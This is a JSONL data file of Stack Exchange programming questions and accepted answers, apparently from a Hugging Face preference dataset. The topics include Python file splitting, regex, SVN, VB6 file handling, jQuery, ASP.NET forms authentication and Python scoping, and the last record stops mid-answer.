{"id": "hf_74d91d7bdcfe", "question": "<p>I have a huge text file (~1GB) and sadly the text editor I use won't read such a large file.  However, if I can just split it into two or three parts I'll be fine, so, as an exercise I wanted to write a program in python to do it.  </p>\n\n<p>What I think I want the program to do is to find the size of a file, divide that number into parts, and for each part, read up to that point in chunks, writing to a <em>filename</em>.nnn output file, then read up-to the next line-break and write that, then close the output file, etc.  Obviously the last output file just copies to the end of the input file.</p>\n\n<p>Can you help me with the key filesystem related parts: filesize, reading and writing in chunks and reading to a line-break?</p>\n\n<p>I'll be writing this code test-first, so there's no need to give me a complete answer, unless its a one-liner ;-)</p>\n", "question_body": "", "answer": "Check out\n```\nos.stat()\n```\nfor file size and\n```\nfile.readlines([sizehint])\n```\n. Those two functions should be all you need for the reading part, and hopefully you know how to do the writing :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.931651"}
{"id": "hf_8d3b04ae3cfc", "question": "<p>What is the regex for a alpha numeric word, at least 6 characters long (but at most 50).</p>\n", "question_body": "", "answer": "With PCRE regex you could do this:\n```\n```\n/[a-zA-Z0-9]{6,50}/\n```\n```\nIt would be very hard to do in regex without the min/max quantifiers so hopefully your language supports them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.014504"}
{"id": "hf_71ed4081b108", "question": "<p>I am creating my textbox with these options. I can Copy / Cut / Paste / Undo, but when I hit <strong>Select All</strong> it doesn't select all. I can right click and click <strong>Select All</strong> but <kbd>CTRL</kbd> + <kbd>A</kbd> doesn't do anything. Why?</p>\n<pre><code>wnd = CreateWindow(&quot;EDIT&quot;, 0,\n    WS_CHILD | WS_VISIBLE | ES_MULTILINE | WS_HSCROLL | WS_VSCROLL | ES_AUTOHSCROLL | ES_AUTOVSCROLL,\n    x, y, w, h,\n    parentWnd,\n    NULL, NULL, NULL);\n</code></pre>\n", "question_body": "", "answer": "You need to capture that keystroke and do the select all yourself.\nHere is some C# code for use with a RichTextBox:\n```\n```\nprotected override void OnKeyDown(KeyEventArgs e)\n    {\n        // Ctrl-A does a Select All in the editor window\n        if (e.Control && (e.KeyCode == Keys.A))\n        {\n            this.SelectAll();\n            e.Handled = true;\n        }\n    }\n```\n```\nSorry, I don't have Win32 code for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.049297"}
{"id": "hf_35fa0eece7d4", "question": "<p>Is there a way to recursively add all \"non added\" files to SVN?</p>\n\n<p>I want to do something like</p>\n\n<pre><code>svn add trunk/\n</code></pre>\n\n<p>to add all new files, without getting:</p>\n\n<pre><code>svn: warning: 'trunk' is already under version control\n</code></pre>\n\n<p>If this is not possible, is there a way to get a list of all files that are not under version control in the directory?</p>\n\n<p>Note that I am only interested in using the command line. </p>\n", "question_body": "", "answer": "Use the --force option.\nExample:\n```\n```\nsvn add * --force\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.072905"}
{"id": "hf_20d2831e547b", "question": "<p>I have a file with several thousand rows and several columns separated with tabs What I'd like to do is loop through each individually, Drop the columns into an array so that I can place them in another application individually, then move onto the next line.  Unfortunately I got about as far as this:</p>\n\n<pre><code>Open mytextfile.txt For Input As #FileHandle\n Do While Not EOF(FileHandle)\n Line Input #FileHandle, IndividualLine\n StringToBreakup = IndividualLine\nLoop\n</code></pre>\n\n<p>So how would I go about breaking individual line up into an array</p>\n", "question_body": "", "answer": "Use the split command\n```\n```\nDim StringArray as Variant\n\nOpen mytextfile.txt For Input As #FileHandle\n Do While Not EOF(FileHandle)\n Line Input #FileHandle, IndividualLine\n StringToBreakup = IndividualLine\n\n StringArray = Split(StringToBreakup, CHR(9)) \n\n Process array here...\n\nLoop\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.132281"}
{"id": "hf_4bc80d9499a8", "question": "<p>Has anyone found any documentation or research about what data is transfered to Google Analytics when it's added to a site. The main thing I'm wondering about is post data, but the details of exactly what is sent would be useful.</p>\n\n<p>I'm considering implementing it on a sites that have a lot of private data on them. I'm wondering what data Google will capture, if any. (The sites are login only.) I'm needing proof so I can provided to the users.</p>\n", "question_body": "", "answer": "The official information can be found\nhere\nThe visitor tracking information that you can get in the Google Analytics reports depends on Javascript code that you include in your website pages, referred to as the Google Analytics Tracking Code (GATC). Initial releases of the GATC used a Javascript file called urchin.js.\nThat script is then discussed in detail in\nthat blog\n, and Google Analytics Help group can also provide\nsome details\n.\na More detailed list of what that javascript collect is\nlisted here\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.161671"}
{"id": "hf_e5cdd0fef2f3", "question": "<p>For example, will the first piece of code perform a full search twice, or is it smart enough to cache results if no DOM changes have occurred?</p>\n\n<pre><code>if ($(\"#navbar .heading\").text() &gt; \"\") {\n  $(\"#navbar .heading\").hide();\n}\n</code></pre>\n\n<p>and </p>\n\n<pre><code>var $heading = $(\"#navbar .heading\");\n\nif ($heading.text() &gt; \"\") {\n  $heading.hide();\n}\n</code></pre>\n\n<p>If the selector is more complex I can imagine it's a non-trivial hit.</p>\n", "question_body": "", "answer": "i don't believe jquery does any caching of selectors, instead relying on xpath/javascript underneath to handle that. that being said, there are a number of optimizations you can utilize in your selectors. here are a few articles that cover some basics:\nOptimizing jQuery selector performance\nPerformance analysis of selectors", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.185707"}
{"id": "hf_3048fd9a0cf4", "question": "<p>Is it possible to programmatically either via the win32API (python) or via a command line option set the processor affinity for a process?</p>\n", "question_body": "", "answer": "In C/C++ you can use\nSetThreadIdealProcessor()\n.  I have no idea if this is accessible in python.\n```\n```\nDWORD processorId = 0;\nSetThreadIdealProcessor(GetCurrentThread(),processorId);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.232096"}
{"id": "hf_a0b769af4429", "question": "<p>What is the simplest way in VB6 to loop through all the files in a specified folder directory and get their names?</p>\n", "question_body": "", "answer": "```\n```\nsFilename = Dir(sFoldername)\n\nDo While sFilename > \"\"\n\n  debug.print sFilename \n  sFilename = Dir()\n\nLoop\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.256816"}
{"id": "hf_b7035446526d", "question": "<p>I've got a stock standard ASP.NET website. Anyone can read/view any page (except the admin section) but when someone wants to contribute, they need to be logged in. Just like most contribution sites out there.</p>\n\n<p>So, if i have my OWN login control or username/password/submit input fields, why would i want to have forms auth turned on instead of just none? what does forms auth give me, which having my own code that check my database for a user/pass and my own two input fields + a submit button, does the job perfectly? </p>\n\n<p>(NOTE: i really dislike the asp.net membership stuff that creates all those tables and usp's in the database, so please don't suggest I use that).</p>\n\n<p>Like, with my code, when i authenticate a user (with my own database code), i manually create my own identity, etc.</p>\n\n<p>is all this required? what is the main purpose of this?</p>\n\n<p>cheers!</p>\n", "question_body": "", "answer": "You can authorize your users how ever you want.  FormAuthentication is used to set the session identity and the authentication cookie that allows users to stay logged in until they logout or the session expires.  You don't need to use the membership providers to use FormsAuthentication.  It sounds like you are just replicating this functionality.\n```\n```\n...do your authentication against your DB or Active Directory\n\nif (Request.QueryString[\"ReturnUrl\"] != null)\n{\n    FormsAuthentication.RedirectFromLoginPage(userName.Text, false);\n}\nelse\n{\n    FormsAuthentication.SetAuthCookie(userName.Text, false);\n}\n```\n```\nThen you need to set up to use it in the web.config\n```\n```\n<system.web>\n  <authentication mode=\"Forms\">\n    <forms loginUrl=\"Login.aspx\"\n           protection=\"All\"\n           timeout=\"30\"\n           name=\"my-auth-cookie\" \n           path=\"/\"\n           requireSSL=\"false\"\n           slidingExpiration=\"true\"\n           defaultUrl=\"default.aspx\" />\n  </authentication>\n</system.web>\n```\n```\nYou get all the benefits of doing your own authorization and not having to implement the cookie infrastructure.  Note, since your web site only needs to authorize when editing, you'll need to set the permissions that allow everyone to read all pages and implement your own logic to redirect them to the login page when they want to edit.\nMore information\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.367686"}
{"id": "hf_54865da451de", "question": "<p>I am using the dojo.io.iframe.send method to send a file to my server. I want to provide a way that the user can cancel the send once it is in progress, in case it is taking too long or the user realizes she sent the wrong file.</p>\n\n<p>I can't figure a way to do this. I could use a timeout to terminate the send if it is taking a long time (that is, the server does not respond quickly), but that is not what I want. I want to terminate any time the user makes a gesture (such as clicking a \"Cancel\" button.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "For security reasons JavaScript cannot even access the file you are sending up. All file uploads are done using a form and handled by the browser directly. To my best knowledge there is no direct interface to monitor the progress of upload, nor the way to affect it (e.g., cancel it).\nNavigating away may help, but it is still up to the browser to interrupt the transfer or not — there is no specification for that.\nTo sum it up: not possible to do it reliable in JavaScript in the portable fashion. That means Dojo does not provide this functionality.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.395015"}
{"id": "hf_1bc7b2079f16", "question": "<p>I have to include Groovy classes into existing Java apps, and include Groovy into Ant's <code>build.xml</code> file.</p>\n\n<p>What is the best way to configure Ant's <code>build.xml</code> for it? </p>\n\n<p>Update: Are there more specifics in combining Java and Groovy compilations? Sequence of tasks?</p>\n", "question_body": "", "answer": "To use Groovy in your ant script, you basically have to\ndeclare the Groovy ant task\n:\n```\n```\n<project name=\"groovy-build\" default=\"listSourceFiles\">\n\n<taskdef name=\"groovy\"\n     classname=\"org.codehaus.groovy.ant.Groovy\"/>\n<groovy>\n    ant.... // some ant groovy directives\n</groovy>\n</target>\n</project>\n```\n```\nHowever, you have to be careful, in your ant.xml, to refer to fileset within your\ncurrent target\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.453938"}
{"id": "hf_2c1a7a738183", "question": "<p>I have a nested function to show/hide paragraphs news-ticker-style.</p>\n\n<p>The problem is that when the loop starts over (line 4), the opacity effects stop working correctly so the paragraphs appear abruptly. </p>\n\n<p>Any jquery masters know about this? Am I making this too hard?</p>\n\n<pre><code>$('#special-ticker p').hide();\nvar a=0;\nfunction outer() {\n    function inner() {\n        if(a===$('#special-ticker p').length) { a = 0; }\n        $('#special-ticker p').\n        eq(a).\n        fadeIn(800, function(){\n            $(this).animate({opacity:100},10000,null,function(){\n                $(this).hide(800,function(){\n                    a++;\n                    outer();\n                });\n            });\n        });\n    }\n    return inner();\n}\n$(function(){ \n    outer(); \n});\n</code></pre>\n", "question_body": "", "answer": "the problem is line 9:\n```\n```\n$(this).animate({opacity:100},10000,null,function(){\n//...\n```\n```\nopacity should be \"1\" (opacity is a value between 0 and 1)\n```\n```\n$(this).animate({ opacity : 1 }, 10000, null, function() {\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.489060"}
{"id": "hf_b1fe3cd646b5", "question": "<p>I have a Canvas in a Flex application which has items inside it that cover only about 50% of the area of the main canvas.</p>\n\n<p>i want the canvas to respond to <code>rollOver</code> events for the full area, and not just the area that is covered by the items inside.</p>\n\n<p>I have been setting the following attributes to achieve this :</p>\n\n<pre><code>&lt;mx:Canvas backgroundColor=\"white\"\nbackgroundAlpha=\".01\"\nrollOver=\"rollOver(event)\"&gt;...\n</code></pre>\n\n<p>This causes the entire canvas to respond to rollOver events. It works great - I'm just not happy with it and figure there must be a better way to achieve it. </p>\n\n<p>Is there a way to force mouse events to act on the entire area of a UIComponent?</p>\n", "question_body": "", "answer": "You could do this:\n```\n```\nimport flash.event.MouseEvent;\n...\ncanvas.addEventListener(MouseEvent.ROLL_OVER,function(event:MouseEvent):void {\n    ...\n});\n```\n```\nwhere \"canvas\" is the ID of the canvas in your mxml.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.512872"}
{"id": "hf_0ec3d4f64630", "question": "<p>i did this in msvc 2005.</p>\n\n<pre><code>typedef void (*cleanup_t)();\n\nvoid func(cleanup_t clean)\n{\n    cleanup_t();\n}\n</code></pre>\n\n<p>Why does this compile? and not give me a warning? ok, it gave me a unreferenced formal parameter warning but originally i did this when clean was in a class no there was no unreferenced formal parameter when this code gave me problems.</p>\n\n<p>What is cleanup_t(); really doing and what is the point? now for laughs i tried int() and that worked also.</p>\n", "question_body": "", "answer": "I think it's an expression that evaluates to a default value for a cleanup_t type.  In other words, an expression that returns a NULL pointer to a function that returns void.\nIn C/C++, expressions with no side effects (which this is - I think) are valid statements, just like you can have a statement like:\n```\n```\n1 + 2;\n```\n```\nThat's not a syntax error, but some compilers might give a warning.  They don't often give a warning for side-effect-less expressions that return NULL values or are simply variable names because that type of expression is often used in macros for debugging purposes (like the assert() macro).\nYou can think of it as calling the default constructor for the\n```\ncleanup_t\n```\ntype.  Having this default constructor-like syntax for built-in types (or typedef's of them) was added to C++ so that templates could set items of the type passed in as a template parameter to default values while still allowing the template type parameter to be a non-user defined type. There might other reasons, but I believe that to be one of them.\nSomething like:\n```\n```\ntemplate <class T>\nclass foo\n{\n    T myT;\n\n    public:\n\n    foo() {\n        myT = T();\n    };\n};\n\ntypedef void (*cleanup_t)();\n\nclass bar\n{\n};\n\nint not_quite_a_cleanup_t_func()\n{\n    return 1;\n}\n\nint main()\n{\n    foo<int> intFoo;\n    foo<cleanup_t> cleanup_t_foo;\n    foo<bar> barFoo;\n\n    // here I'm going to harp on one of the things I don't like about C++:\n    //\n    //  That so many things that look like function calls are not or that\n    //  the parens cause subtle behavior changes.\n    //\n    //  I believe this is the reason this question was posted to \n    //  stackoverflow, so it's not too far off topic.\n    //  \n    //  Many of these things exist because of backwards compatibility with C or\n    //  because they wanted to fit in new features without adding keywords or\n    //  new reserved tokens or making the parser even more complex than it already\n    //  is.  So there are probably good rationales for them.\n    //\n    //  But I find it confusing more often than not, and the fact that there\n    //  might be a rationale for it doesn't mean I have to like it...\n\n    cleanup_t cleanup1();    // declares a function named cleanup1 that returns a cleanup_t\n\n    cleanup_t cleanup2 = cleanup_t();   // cleanup2 is a variable of type cleanup_t that \n                                        //  is default initialized\n\n    cleanup_t* cleanup3 = new cleanup_t;    // cleanup3 is a pointer to type cleanup_t that \n                                            //  is initialized to point to memory that is \n                                            //  *not* initialized\n\n    cleanup_t* cleanup4 = new cleanup_t();  // cleanup4 is a pointer to type cleanup_t that\n                                            //  is initialized to point to memory that *is*\n                                            //  initialized (using default intialization)\n\n    cleanup2 = cleanup_t( not_quite_a_cleanup_t_func);  // explicit type conversion using functional notation\n\n    cleanup_t();    // the OP's problem\n    cleanup2();     // call the function pointed to by cleanup2\n    (*cleanup2)();  // same thing\n\n    class cleanup_class\n    {\n        cleanup_t cleanup5;\n\n    public:\n        cleanup_class() : \n            cleanup5() // class member default initialization\n        { };\n    };\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.539776"}
{"id": "hf_614c5b3221a1", "question": "<p>while exploring jQuery I came up with the following weird script. I don't see myself doing this really however concatenating strings to achieve a variable name is not unusual in JavaScript. </p>\n\n<p>Any feedback welcome.</p>\n\n<pre><code>...\n    &lt;script type=\"text/javascript\"&gt;\n        var a = 'y';\n        $(document).ready(function() {\n            $('p[id^=' + $('p[id=x]').html() + a + \"]\").css('color','blue');\n        });\n    &lt;/script&gt;\n...\n\n&lt;p id=\"x\"&gt;2a&lt;/p&gt;\n&lt;p id=\"2ay_\"&gt;mytext&lt;/p&gt;\n</code></pre>\n", "question_body": "", "answer": "Short answer is no, there aren't side-effects.  Your example is quirky, but as you said you were just exploring to see what you could do.  I have used string concatenation and function value returns inside jQuery selectors before, it can be a useful technique for managing sets of related elements which reside in different parts of the DOM.\nI admit I haven't used\n```\njQuery.html()\n```\ninside a selector, but there isn't any inherent reason why that's \"bad\".  I just can't think of a situation where that'd be strictly necessary.  It does make the code rather... unusual, and hence more difficult to understand and maintain.\nIf you actually find a use for this in production code, please let us know.  I'd be fascinated to see what it is. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.563639"}
{"id": "hf_74c2dfc9f15a", "question": "<p>Having a relative path, how do I turn it into an absolute one from the location where the elisp file that I'm loading is. That is, I have an elisp file that I'm loading, it has an relative path and I need an absolute one.</p>\n", "question_body": "", "answer": "You can use the\n```\nexpand-file-name\n```\nfunction to convert a relative filename or path into an absolute filename/path.  Look\nhere\nfor additional information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.633488"}
{"id": "hf_050c75ca57d0", "question": "<p>What <strong>exactly</strong> are the Python scoping rules?</p>\n\n<p>If I have some code:</p>\n\n<pre><code>code1\nclass Foo:\n   code2\n   def spam.....\n      code3\n      for code4..:\n       code5\n       x()\n</code></pre>\n\n<p>Where is <code>x</code> found?  Some possible choices include the list below:</p>\n\n<ol>\n<li>In the enclosing source file</li>\n<li>In the class namespace</li>\n<li>In the function definition</li>\n<li>In the for loop index variable</li>\n<li>Inside the for loop</li>\n</ol>\n\n<p>Also there is the context during execution, when the function <code>spam</code> is passed somewhere else. And maybe <a href=\"https://docs.python.org/3/tutorial/controlflow.html#lambda-expressions\" rel=\"noreferrer\">lambda functions</a> pass a bit differently?</p>\n\n<p>There must be a simple reference or algorithm somewhere.  It's a confusing world for intermediate Python programmers.</p>\n", "question_body": "", "answer": "Python resolves your variables with -- generally -- three namespaces available.\nAt any time during execution, there\n  are at least three nested scopes whose\n  namespaces are directly accessible:\n  the innermost scope, which is searched\n  first, contains the local names; the\n  namespaces of any enclosing functions,\n  which are searched starting with the\n  nearest enclosing scope; the middle\n  scope, searched next, contains the\n  current module's global names; and the\n  outermost scope (searched last) is the\n  namespace containing built-in names.\nThere are two functions:\n```\nglobals\n```\nand\n```\nlocals\n```\nwhich show you the contents two of these namespaces.\nNamespaces are created by packages, modules, classes, object construction and functions.  There aren't any other flavors of namespaces.\nIn this case, the call to a function named\n```\nx\n```\nhas to be resolved in the local name space or the global namespace.\nLocal in this case, is the body of the method function\n```\nFoo.spam\n```\n.\nGlobal is -- well -- global.\nThe rule is to search the nested local spaces created by method functions (and nested function definitions), then search global.  That's it.\nThere are no other scopes.  The\n```\nfor\n```\nstatement (and other compound statements like\n```\nif\n```\nand\n```\ntry\n```\n) don't create new nested scopes.  Only definitions (packages, modules, functions, classes and object instances.)\nInside a class definition, the names are part of the class namespace.\n```\ncode2\n```\n, for instance, must be qualified by the class name.  Generally\n```\nFoo.code2\n```\n.  However,\n```\nself.code2\n```\nwill also work because Python objects look at the containing class as a fall-back.\nAn object (an instance of a class) has instance variables.  These names are in the object's namespace.  They must be qualified by the object.  (\n```\nvariable.instance\n```\n.)\nFrom within a class method, you have locals and globals.  You say\n```\nself.variable\n```\nto pick the instance as the namespace.  You'll note that\n```\nself\n```\nis an argument to every class member function, making it part of the local namespace.\nSee\nPython Scope Rules\n,\nPython Scope\n,\nVariable Scope\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.662792"}
{"id": "hf_b02ecb674b24", "question": "<p>Is the jQuery intellisense plugin available for Visual Studio now?</p>\n", "question_body": "", "answer": "Yes, it is.\nRich Intellisense for JQuery\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.687349"}
{"id": "hf_6c803e449989", "question": "<p>I've been seeing so much recently about functional programming and Clojure looks particularly interesting. While I 'understand' the basic description of what it is, I can't figure out how I would use it on a day to day basis as a web developer, if I can at all. A lot of what I have read focuses on the maths side of functional programming rather then typical programming situations found in regular OO. </p>\n\n<p>Have I got the wrong end of the stick? Is functional programming totally un-related to web development? If not, are there any examples of it being used 'for the web'?</p>\n", "question_body": "", "answer": "A few examples off the top of my head:\nYahoo! Store is powered by Lisp (originally named\nViaweb\nprior to acquisition)\nReddit\nwas fully prototyped in Lisp, although they\nswitched to Python\nin 2005\nHacker News\nis written entirely in Arc (a Lisp dialect)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.756956"}
{"id": "hf_2c353fd03654", "question": "<p>I'd like to add a custom title to one of the predefined UITabBarItems. Whenever I select the particular instance I like in Interface Builder -- if I modify the the title it gets preset back to a 'custom' identifier. Ideally I'd like the book icon from the 'Bookmarks' identifier with my own custom title.</p>\n\n<p>Is this level of customization currently supported by the SDK? Am I going to have to ultimately screen scrape the image and apply it as a custom image?</p>\n\n<p>Thanks for any insight or documentation which points me in the right direction.</p>\n", "question_body": "", "answer": "Unfortunately, the only types of UITabBarItems are those supplied and described entirely by the OS (ie, it assigns them icons and titles), and those described entirely by the app, as you've discovered. By far the simplest solution is to pull the icon out of somewhere else and use it with\n```\n-initWithTitle:image:tag\n```\n.\nhttp://img369.imageshack.us/img369/8388/openbookwp4.png", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.803037"}
{"id": "hf_6409b34feee7", "question": "<p>I have seen a lot of <code>ob_get_clean()</code> the last while. Typically I have done <code>$test .= 'test'</code></p>\n\n<p>I'm wondering if one is faster and/or better than the other.</p>\n\n<p>Here is the code using <code>ob_get_clean()</code>:</p>\n\n<pre><code>ob_start();\n\nforeach($items as $item) {\n    echo '&lt;div&gt;' . $item . '&lt;/div&gt;';\n}\n\n$test = ob_get_clean();\n</code></pre>\n\n<p>Here is the code using <code>$test .= 'test'</code>:</p>\n\n<pre><code>$test = '';\n\nforeach($items as $item) {\n    $test .= '&lt;div&gt;' . $item . '&lt;/div&gt;';\n}\n</code></pre>\n\n<p>Which is better?</p>\n", "question_body": "", "answer": "The results are the same, and I'd imagine the performance differences are negligible if any. Basically, a matter of personal style preference. I would go with concatenation myself - I use output buffering only when concatenation is not an option.\nAlso, instead of running both\n```\nob_get_contents()\n```\nand\n```\nob_clean()\n```\nsimply run\n```\nob_get_clean()\n```\nwhich performs both at once.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.839379"}
{"id": "hf_9e4e89b8733c", "question": "<p>I stumbled upon this javascript obfuscator called <a href=\"http://www.ideareactor.com/idea/HomePage.html\" rel=\"nofollow noreferrer\">Squash</a>, I want to use it on my ExtJS project to obfuscate my javascript files. I've tried it and the result are totally obfuscated codes. But it seems that I have to obfuscate the ExtJS library too because I got warnings that it couldn't find functions such as <code>Ext.onReady()</code>, <code>Ext.form.FormPanel()</code>, etc.</p>\n\n<p>I just want to ask if any of you guys have successfully used Squash + ExtJS in a project and how did you manage to make it work. </p>\n", "question_body": "", "answer": "Typical rtfm: The\n```\n@Public\n```\nannotation on the\n```\nsetDocumentTitle\n```\nfunction prevents the function name from being obfuscated so that it can be accessed from unobfuscated code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.874216"}
{"id": "hf_8526170ae733", "question": "<p>How can I delete all the tables in a web page? The tables don't have any ids associated with them.</p>\n", "question_body": "", "answer": "If you're using jQuery it is pretty easy ...\n```\n```\n$(document).ready(function() {\n  $(\"table\").remove();\n});\n```\n```\nnot sure how's you do it in other libraries.\nif you're not using a js library, you should be.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.898040"}
{"id": "hf_dc0acbbf82d5", "question": "<p>I wanted to grep for java process and then find the max heap memory used.\nI tried this</p>\n\n<pre><code>def ex =['sh','-c','ps -aef | grep Xmx']\nString str =  ex.execute().text\n</code></pre>\n\n<p>while <code>str</code> has something like <em>java -Xmx1024M /kv/classes/bebo/ -Xms512M</em>\nHow do I extract the value <em>1024M</em>? I was planning to user java regex but thought someone might know a cool way in groovy.</p>\n", "question_body": "", "answer": "In Java:\n```\n```\nString ResultString = null;\nPattern regex = Pattern.compile(\"-Xmx(\\\\d+M)\");\nMatcher regexMatcher = regex.matcher(str);\nif (regexMatcher.find()) {\n    ResultString = regexMatcher.group(1);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:28.933316"}
{"id": "hf_b5a0d133f892", "question": "<p>VB 6: How can I execute a .bat file but wait until its done running before moving on?</p>\n", "question_body": "", "answer": "You will need to use Win32 API calls to\nShellExecuteEx\nand WaitForSingleObject on the process handle returned from ShellExecuteEx in the SHELLEXECUTEINFO structure.  This is old code which I've pulled out of a project. It was working 100% but I may not have included all dependencies. You should be able to edit to your requirements:\n```\n```\nType SHELLEXECUTEINFO\n                cbSize As Long\n                fMask As Long\n                hwnd As Long\n                lpVerb As String\n                lpFile As String\n                lpParameters As String\n                lpDirectory As String\n                nShow As Long\n                hInstApp As Long\n                '  Optional fields'\n                lpIDList As Long\n                lpClass As String\n                hkeyClass As Long\n                dwHotKey As Long\n                hIcon As Long\n                hProcess As Long\n        End Type\n\n        Public Declare Function ShellExecuteEx Lib \"shell32.dll\" \n            (lpExecInfo As SHELLEXECUTEINFO) As Long\n\n        Public Declare Function apiShellExecute Lib \"shell32.dll\" _\n            Alias \"ShellExecuteA\" _\n            (ByVal hwnd As Long, _\n            ByVal lpOperation As String, _\n            ByVal lpFile As String, _\n            ByVal lpParameters As String, _\n            ByVal lpDirectory As String, _\n            ByVal nShowCmd As Long) _\n                As Long\n\n        Declare Function WaitForSingleObject Lib \"kernel32\" \n             (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long\n\n        Public Const SEE_MASK_NOCLOSEPROCESS As Long = &H40\n        Public Const SEE_MASK_FLAG_DDEWAIT As Long = &H100\n\n        '***App Window Constants***'\n        Public Const WIN_NORMAL = 1         'Open Normal'\n        Public Const WIN_MAX = 2            'Open Maximized'\n        Public Const WIN_MIN = 3            'Open 